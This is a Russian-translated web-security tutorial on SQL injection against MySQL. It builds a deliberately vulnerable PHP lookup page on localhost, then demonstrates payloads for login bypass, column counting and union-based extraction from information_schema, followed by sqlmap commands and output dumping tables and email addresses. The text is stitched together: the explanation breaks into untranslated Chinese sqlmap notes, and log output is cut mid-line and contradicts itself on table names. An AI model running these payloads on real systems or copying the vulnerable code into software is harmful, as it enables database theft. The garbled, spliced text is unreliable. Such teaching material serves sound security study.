Мист Блэйт: обучение, уязвимости. Инъекция SQL
Преподаватель: gh0stkey (https://www.zhihu.com/people/gh0stkey/answers)
Редактор: Летающий дракон (https://github.com/)
Лицензия: CC BY-NC-SA 4.0 (http://creativecommons.org/licenses/by-nc-sa/4.0/)
SQL-инъекция — это внедрение SQL-кода в строку ввода данных, которая передаётся на сервер СУБД. Если приложение доверяет данным пользователя и не фильтрует входные строки, то внедренный код будет выполнен базой данных.
Злоумышленники могут использовать SQL-инъекцию для выполнения различных вредоносных действий, таких как снятие защиты, выполнение команд, создание веб-оболочек и доступ к конфиденциальной информации системы.
Приведённый пример иллюстрирует различные виды ущерба, который может быть нанесён с помощью SQL-инъекции.
Рассмотрим следующий фрагмент кода (в видео используется другой код, так как он более подходит для объяснения, поэтому здесь приведён этот фрагмент):
$un = @$_POST['un'];
$pw = @$_POST['pw'];
// ...
$sql = "select * from user where un='$un' and pw='$pw'";
В этом коде параметры un
и pw
извлекаются из HTTP-запроса без фильтрации. Затем они используются в SQL-запросе.
Если злоумышленник отправит значение un
, равное admin
, и значение pw
, равное ' or '1'='1
(вместо реального пароля), то весь SQL-запрос будет выглядеть следующим образом:
select * from user where un='admin' and pw='' or '1'='1'
Этот запрос всегда будет возвращать истину, что позволит злоумышленнику обойти проверку подлинности.
Видеоролик, на котором демонстрируется программа, найти не удалось, поэтому я решил создать демонстрационную среду самостоятельно. Однако процесс создания такой среды аналогичен.
Что касается баз данных, то разные базы данных используют разные конфигурации и диалекты SQL, и методы, работающие на одной базе данных, могут не работать на другой. Тем не менее, около 70% веб-сайтов используют MySQL, поэтому эта статья будет посвящена только MySQL.
Вы можете скачать DVWA и создать экспериментальную среду на своём компьютере. Если это кажется сложным, вы можете написать скрипт для создания среды. Здесь я покажу вам, как создать такую среду локально.
Сначала создайте таблицу sqlinj
в любой базе данных и вставьте в неё некоторые данные:
drop table if exists sqlinj;
create table if not exists sqlinj (
id int primary key auto_increment,
info varchar(32)
);
insert into sqlinj values (1, "item #1");
Здесь мы создали таблицу sqlinj
, в которую добавили одну запись. На самом деле, достаточно добавить одну запись, чтобы увидеть эффект.
Затем сохраните следующий код как sql.php
:
<form method="GET" action="">
ID:
<input type="text" name="id" />
<input type="submit" value="查询" />
</form>
<?php
// 改成自己机子上的配置:
$host = '';
$port = 3306;
$un = '';
$pw = '';
$db = '';
$id = @$_GET['id'];
if($id == '')
return;
$conn = @mysql_connect($host . ':' . $port, $un, $pw);
if(!$conn)
die('数据库连接错误:' . mysql_error());
mysql_select_db($db, $conn);
$sql = "select id, info from sqlinj where id=$id";
$res = mysql_query($sql, $conn);
if(!$res)
die('数据库错误:'. mysql_error());
$num = mysql_num_rows($res);
if($num == 0)
{
echo "<p>ID:$id</p>";
echo "<p>无此记录</p>";
}
else
{
$row = mysql_fetch_row($res);
echo "<p>ID:$id</p>";
echo "<p>Info:${row[1]}</p>";
}
mysql_close($conn);
Запустите php -S 0.0.0.0:80
в каталоге файла и перейдите по адресу http://localhost/sql.php
, после чего можно выполнять различные операции.
На основе эха означает, что страница отображает информацию из базы данных, и мы можем отобразить нужные нам данные на странице с помощью инъекции. Обычно страницы, которые отображают связанную информацию (например, заголовки сообщений или содержание), считаются основанными на эхо.
Мы устанавливаем id
равным 1 and 1=1
, и информация отображается нормально.
Устанавливаем id
равным 1 and 1=2
, и отображается «без этой записи».
Это указывает на то, что здесь может быть точка инъекции.
Далее нам нужно определить количество столбцов в результате запроса, чтобы мы могли использовать union
позже. Мы создаём запрос:
id=1 order by ?
где знак вопроса заменяется числами от 1 до N. Один за другим пробуем эти числа. Когда мы достигаем определённого числа N, возникает ошибка, и количество столбцов равно N - 1.
Например, здесь я сначала попробовал 1 и ошибки не возникло:
Пробуем 2 и также ошибки нет, затем пробуем 3 и получаем ошибку. Это означает, что количество столбцов равно 2.
Теперь мы можем создать запрос:
1 and 1=2 union select 1,2
Информация отображается во втором столбце, и есть только один столбец с информацией.
В MySQL есть функция current_user
, которая отображает имя пользователя, и функция database
, которая отображает текущее имя базы данных. Поскольку существует только одна позиция отображения, для удобства мы можем использовать функцию concat
для одновременного отображения информации.
1 and 1=2 union select 1,concat(current_user(),' ',database())
Имя пользователя здесь — root
, а имя базы данных — test
. Если мы столкнёмся с этим в реальной ситуации, мы сможем сделать вывод, что у нас есть права root.
В MySQL есть база данных под названием information_schema
, которая хранит метаданные о базах данных и таблицах. В ней есть две важные таблицы: одна называется tables
, которая содержит метаданные таблиц, включая два важных столбца: table_schema
— имя связанной базы данных и table_name
— имя таблицы. Другая называется columns
, которая содержит исходные данные столбцов, где table_name
является именем таблицы, а column_name
— именем столбца.
1 and 1=2 union select 1,count(table_name) from information_schema.tables where table_schema=database()
Здесь мы используем функцию count
для подсчёта количества таблиц, всего семь. Здесь мы запрашиваем только текущую базу данных, если мы хотим запросить все, мы можем удалить предложение where
.
Поскольку он может отображать только одну запись, мы используем предложение limit
для определения отображаемой записи. Предложение limit
имеет формат limit m,n
, где m — начальная позиция, начинающаяся с нуля, а n — количество записей. Мы создадим запрос:
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()
``` **Python 之后,执行:**
pip install sqlmap
**然后:**
C:\Users\asus> sqlmap
___
H
___ [,]__ ___ ___ {1.1#pip}
|' -| . ['] | .'| . |
|| [']|||__,| |
||V || http://sqlmap.org
Usage: sqlmap [options]
sqlmap: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help
Press Enter to continue...
### 判断注入点
直接使用 `-u` 命令把 URL 给 SqlMap 会判断注入点。
sqlmap -u http://localhost/sql.php?id=
要注意这样 sqlmap 会判断所有的动态参数,要指定某个参数,使用 `-p`:
sqlmap -u http://localhost/sql.php?id= -p id
**Результат:**
[*] starting at 12:05:40
[12:05:40] [WARNING] provided value for parameter 'id' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[12:05:40] [INFO] testing connection to the target URL
[12:05:41] [INFO] heuristics detected web page charset 'utf-8'
[12:05:41] [INFO] testing if the target URL is stable
[12:05:42] [INFO] target URL is stable
[12:05:44] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[12:05:46] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
Sqlmap сообщил о том, что параметр `id` может быть подвержен инъекции.
Если параметр находится в HTTP-запросе или Cookie, можно использовать `--data <data>` и `--cookie <cookie>` для отправки данных.
### Получение базы данных и имени пользователя
`--dbs` используется для получения всех имён баз данных, `--current-db` — для получения текущей базы данных, а `--current-user` — для получения текущего пользователя.
C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id --current-db
...
[12:10:44] [INFO] fetching current database
[12:10:54] [INFO] retrieved: test
current database: 'test'
[12:10:54] [INFO] fetched data logged to text files under 'C:\Users\asus.sqlmap\output\localhost'
[*] shutting down at 12:10:54
### Получение имён таблиц
`-D` используется для указания имени базы данных; если оно не указано, то будут получены имена всех таблиц в базе данных. `--tables` используется для получения имён таблиц.
C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id -D test --tables
...
[12:13:25] [INFO] fetching tables for database: 'test'
[12:13:28] [INFO] the SQL query used returns 7 entries
[12:13:30] [INFO] retrieved: email
[12:13:32] [INFO] retrieved: history
[12:13:34] [INFO] retrieved: iris
[12:13:36] [INFO] retrieved: message
[12:13:38] [INFO] retrieved: result
[12:13:40] [INFO] retrieved: sqlinj
[12:13:42] [INFO] retrieved: test_table
Database: test
[7 tables]
+------------+
| email |
| history |
| data |
| message |
| result |
| sqlinj |
| test_table |
+------------+
[12:13:42] [INFO] fetched data logged to text files under 'C:\Users\asus.sqlmap\output\localhost'
[*] shutting down at 12:13:42
### Получение имён столбцов
`-T` используется для указания таблицы, `--columns` — для получения имён столбцов.
C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id -D test -T email --columns
...
[12:15:02] [INFO] fetching columns for table 'email' in database 'test'
[12:15:04] [INFO] the SQL query used returns 2 entries
[12:15:06] [INFO] retrieved: userid
[12:15:08] [INFO] retrieved: varchar(16)
[12:15:11] [INFO] retrieved: email
[12:15:14] [INFO] retrieved: varchar(32)
Database: test
Table: email
[2 columns]
+--------+-------------+
| Column | Type |
+--------+-------------+
| email | varchar(32) |
| userid | varchar(16) |
+--------+-------------+
[12:15:30] [INFO] fetched data logged to text files under 'C:\Users\asus.sqlmap\output\localhost'
[*] shutting down at 12:15:30
### Получение записей
`--dump` используется для получения записей, `-C` — для указания имён столбцов, которые нужно получить. Если `-C` не используется, то будет получена вся таблица.
C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id -D test -T email --dump
...
[12:16:59] [INFO] fetching columns for table 'email' in database 'test'
[12:16:59] [INFO] the SQL query used returns 2 entries
[12:16:59] [INFO] resumed: userid
[12:16:59] [INFO] resumed: varchar(16)
[12:16:59] [INFO] resumed: email
[12:16:59] [INFO] resumed: varchar(32)
[12:16:59] [INFO] fetching entries for table 'email' in database 'test'
[12:17:01] [INFO] the SQL query used returns 2 entries
[12:17:04] [INFO] retrieved: test2@example.com
[12:17:06] [INFO] retrieved: 123
[12:17:08] [INFO] retrieved: wizard.z@qq.com
[12:17:10]
До этого мы обсуждали числовую инъекцию. Если изменить SQL-запрос с
```php
$sql = "select id, info from sqlinj where id=$id";
на
$sql = "select id, info from sqlinj where id='$id'";
то при тестировании могут возникнуть ситуации, когда и 1=1
, и 1=2
являются истинными.
В этом случае мы не знаем, была ли фильтрация или действительно есть точка инъекции. Поэтому мы можем изменить параметр, используя одинарную кавычку для закрытия предыдущей кавычки, а затем использовать символ комментария (#
или --
), чтобы закомментировать оставшуюся часть кавычек:
1' and 1=1 #
1' and 1=2 #
1' order by ? #
...
Вы можете оставить комментарий после Вход в систему
Неприемлемый контент может быть отображен здесь и не будет показан на странице. Вы можете проверить и изменить его с помощью соответствующей функции редактирования.
Если вы подтверждаете, что содержание не содержит непристойной лексики/перенаправления на рекламу/насилия/вульгарной порнографии/нарушений/пиратства/ложного/незначительного или незаконного контента, связанного с национальными законами и предписаниями, вы можете нажать «Отправить» для подачи апелляции, и мы обработаем ее как можно скорее.
Опубликовать ( 0 )